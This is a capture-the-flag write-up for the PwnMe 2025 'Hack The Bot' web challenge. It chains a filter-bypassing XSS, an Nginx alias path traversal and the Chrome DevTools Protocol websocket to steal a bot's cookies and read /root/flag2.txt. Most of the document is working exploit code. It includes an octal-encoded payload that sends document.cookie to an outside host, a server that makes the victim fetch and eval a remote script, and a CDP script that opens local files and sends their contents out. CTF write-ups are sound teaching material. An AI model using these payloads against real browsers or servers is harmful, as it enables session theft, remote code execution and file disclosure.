PWNMECTF 2025

HACK THE BOT 1 & 2 WRITEUP

CHALLENGE INFO

Name: Hack The Bot

Category: Web

Difficulty: Hard

Introduction

This challenge was proposed during the 2025 edition of the PwnMe CTF organized by the Phreaks2600 team. It is divided into two parts. First, filters must be bypassed to exploit an XSS vulnerability, allowing the retrieval of the first flag from the administrator bot's cookies.

Then, it is necessary to chain this XSS with an LFI (Local File Inclusion) vulnerability to allow the bot to exploit the Chrome DevTools Protocol websocket and read the flag located in /root/flag2.txt.

SOLUTION

Challenge description

The web application is a classic Express application:

app.get('/', (req, res) => {
    res.render('index');
});

app.get('/report', (req, res) => {
    res.render('report');
});

app.post('/report', (req, res) => {
    const url = req.body.url;
    const name = format(new Date(), "yyMMdd_HHmmss");
    startBot(url, name);
    res.status(200).send(`logs/${name}.log`);
    }); 
The purpose of the webapp is to organize and list attack payloads in a cheatsheet format, and the user can search for a payload by keyword. The application also allows users to report a new payload by submitting a URL that the bot will visit.

XSS payload please

The application allows searching for attack payloads via a search field. The problem is that the q parameter is injected into the page via .innerHTML without sanitization. Jackpot! In theory, we can inject JavaScript. But... there's a catch 🧐


function getSearchQuery() {
    const params = new URLSearchParams(window.location.search);
    // Utiliser une valeur par défaut de chaîne vide si le paramètre n'existe pas
    return params.get('q') ? params.get('q').toLowerCase() : '';
}

[...]

function searchArticles(searchInput = document.getElementById('search-input').value.toLowerCase().trim()) {
    const searchWords = searchInput.split(/[^\p{L}]+/u);
    const articles = document.querySelectorAll('.article-box');
    let found = false;
    articles.forEach(article => {
        if (searchInput === '') {
            article.style.display = '';
            found = true;
        } else {
            const articleText = article.textContent.toLowerCase();
            const isMatch = searchWords.some(word => word && new RegExp(`${word}`, 'ui').test(articleText));
            if (isMatch) {
                article.style.display = '';
                found = true;
            } else {
                article.style.display = 'none';
            }
        }
    });
    const noMatchMessage = document.getElementById('no-match-message');
    if (!found && searchInput) {
        noMatchMessage.innerHTML = `No results for "${searchInput}".`;
        noMatchMessage.style.display = 'block';
    } else {
        noMatchMessage.style.display = 'none';
    }
}
                                
All the challenge's difficulty lies in finding a new XSS payload that is considered new. We have to find a payload that does not contain any of the keywords already present in the list:
script alert img src onerror print javascript alert svg onload fetch https aa com onfocus onstart onbeforeunload onhashchange ontoggle
There are numerous resources for finding such a payload. I used the lists from:
  • PayloadsAllTheThings @swissky
  • XSS Bypass Filters @Edr4
  • After few (many) attempts, I finally found a new payload to exploit the XSS vulnerability:
    <textarea autofocus onfocusin=confirm()></textarea>

    First Flag PoC

    Voilà! now we can set up an HTTP server to listen and use the XSS vulnerability to retrieve the first flag from the bot's cookie:

    from http.server import SimpleHTTPRequestHandler
    import socketserver
    
    PORT = 8080
    ATTACKER_URL = f"https://nalisco.fr"
    XSS_CODE = f"""
    setTimeout(() => fetch('{ATTACKER_URL}/?flag=' + document.cookie), 3000)
    """
    
    if __name__ == '__main__':
        # Encode the XSS code to octal
        xss_code_b8_encoded = "\\" + "\\".join([str(oct(ord(c))[2:]) for c in XSS_CODE])
        xss_url = f"http://localhost/?q=<textarea autofocus onfocusin=eval(\"{xss_code_b8_encoded}\")></textarea>"
        print(f"Send this URL to the bot: {xss_url}\n")
        # Start the HTTP server
        with socketserver.TCPServer(("0.0.0.0", PORT), SimpleHTTPRequestHandler) as httpd:
            print(f"Serving HTTP on 0.0.0.0 {PORT} (http://0.0.0.0:{PORT}/) ...", PORT)
            httpd.serve_forever()

    Nginx conf nightmare

    Another vulnerability is hidden in the application, this time in the server's Nginx configuration:

    location /logs {
        autoindex off;
        alias /tmp/bot_folder/logs/;
        try_files $uri $uri/ =404;
    }

    The alias line replaces /logs with /tmp/bot_folder/logs/ in the URL to access log files on the server. However, if the URL looks like http://localhost/logs../random_file, Nginx will search for the file located at /tmp/bot_folder/logs/../random_file.

    The application is vulnerable to a Path Traversal ! Unfortunately, we cannot directly read the flag file in /root because the vulnerability only permits to traverse one directory. However, we can read all files in the /tmp/bot_folder directory and its subdirectories.

    The interesting directory is the bot's browser cache located at /tmp/bot_folder/browser_cache/. It contains data on the cache, local storage, and the bot's history, but the interesting file for the next step is /tmp/bot_folder/browser_cache/DevToolsActivePort.

    It contains two informations:
  • 36575: The port used by DevTools to communicate with the Chromium browser.
  • /devtools/browser/df24abee-f947-403f-a0ed-062a0fffe112: The path composed of a UUID token to identify the specific DevTools session
  • DevTools Protocol: The Brain of Chrome

    The bot launch chromium with the argument --remote-allow-origin=* which allow us to request the devtools websocket.

    The DevTools HTTP Protocol allows debugging of the currently viewed site, meaning reading any data, such as HTML, cookies, or other stored data, and executing JavaScript in the console. It also allows browsing to and reading arbitrary files on the system.

    Thanks to DevTools HTTP Protocol Documentation and Jorian Woljter Cheatsheets, we can craft payload to fetch the DevTools websocket and retrieve local files. We can read the content of file:///root/flag2.txt by forcing the bot to send these requests to the DevTools Websocket.

    // Send to ws://localhost:[PORT]/devtools/browser/[UUID] to retrieve a TargetId
    {
        id: 1,
        method: "Target.createTarget",
        params: {
            url: "about:blank",
        }
    }
    // Send to ws://localhost:[PORT]/devtools/page/[TargetId] to open the flag and read content
    {
        "id": 1,
        "method": "Page.navigate",
        "params": {
            "url": "file:///root/flag2.txt"
        }
    }
    {
        "id": 2,
        "method": "Runtime.evaluate",
        "params": {
            "expression": "document.documentElement.outerHTML"
        }
    }

    Final Exploit and 2nd Flag

    The final exploit should:

  • Retrieve the port and token to connect to DevTools.
  • Use DevTools to open the file /root/flag2.txt.
  • Send back its content to retrieve the flag.
  • All of this is included in the script injected via the XSS. To simplify the exploitation, I wrote all these actions in a file xss.js that is retrieved and executed by the bot.

    server.py
    from http.server import SimpleHTTPRequestHandler
    import socketserver
    
    PORT = 8080
    ATTACKER_URL = f"https://nalisco.fr"
    XSS_CODE = f"""
    fetch("{ATTACKER_URL}/xss.js",{{"cache":"no-store"}}).then((r) => {{return r.text()}}).then((d)=>{{eval(d)}})
    """
    
    class CORSRequestHandler (SimpleHTTPRequestHandler):
        def end_headers (self):
            self.send_header('Access-Control-Allow-Origin', '*')
            SimpleHTTPRequestHandler.end_headers(self)
    
    if __name__ == '__main__':
        # Encode the XSS code to octal
        xss_code_b8_encoded = "\\" + "\\".join([str(oct(ord(c))[2:]) for c in XSS_CODE])
        xss_url = f"http://localhost/?q=<textarea autofocus onfocusin=eval(\"{xss_code_b8_encoded}\")></textarea>"
        print(f"Send this URL to the bot: {xss_url}\n")
        # Start the HTTP server
        with socketserver.TCPServer(("0.0.0.0", PORT), CORSRequestHandler) as httpd:
            print(f"Serving HTTP on 0.0.0.0 {PORT} (http://0.0.0.0:{PORT}/) ...", PORT)
            httpd.serve_forever()
    xss.js
    function sendInfo(tag, data) {
        fetch(`https://nalisco.fr/?${tag}=${data}`);
    }
    
    async function retrieveDevToolsURL() {
        res = await fetch(
            "http://localhost/logs..%2Fbrowser_cache%2FDevToolsActivePort"
        );
        data = await res.text();
        console.log(data);
        [port, path] = data.split("\n");
        return [port, path];
    }
    
    async function createTarget(port, path) {
        wsDevtools = `ws://localhost:${port}${path}`;
        sendInfo("wsDevtools", wsDevtools);
        ws = new WebSocket(wsDevtools);
        ws.onopen = () => {
            ws.send(
            JSON.stringify({
                id: 1,
                method: "Target.createTarget",
                params: {
                url: "about:blank",
                },
            })
            );
            ws.onmessage = (event) => {
            sendInfo("data1", event.data);
            targetId = JSON.parse(event.data).result.targetId;
    
            retrieveFlag(port, targetId);
            };
        };
    }
    
    async function retrieveFlag(port, targetId) {
        wsFlag = `ws://localhost:${port}/devtools/page/${targetId}`;
        sendInfo("wsFlag", wsFlag);
        ws = new WebSocket(wsFlag);
        ws.onopen = () => {
            ws.send(
            JSON.stringify({
                id: 1,
                method: "Page.navigate",
                params: { url: "file:///root/flag2.txt" },
            })
            );
            ws.onmessage = (event) => {
            sendInfo("data2", event.data);
            data = JSON.parse(event.data);
            switch (data.id) {
                case 1:
                ws.send(
                    JSON.stringify({
                    id: 2,
                    method: "Runtime.evaluate",
                    params: {
                        expression: "document.documentElement.outerHTML",
                    },
                    })
                );
                break;
                case 2:
                sendInfo("FLAG", data.result.result.value.match(/PWNME\{.*\}/)[0]);
                break;
            }
            };
        };
    }
    
    (async () => {
        var [port, path] = await retrieveDevToolsURL();
        createTarget(port, path);
    })();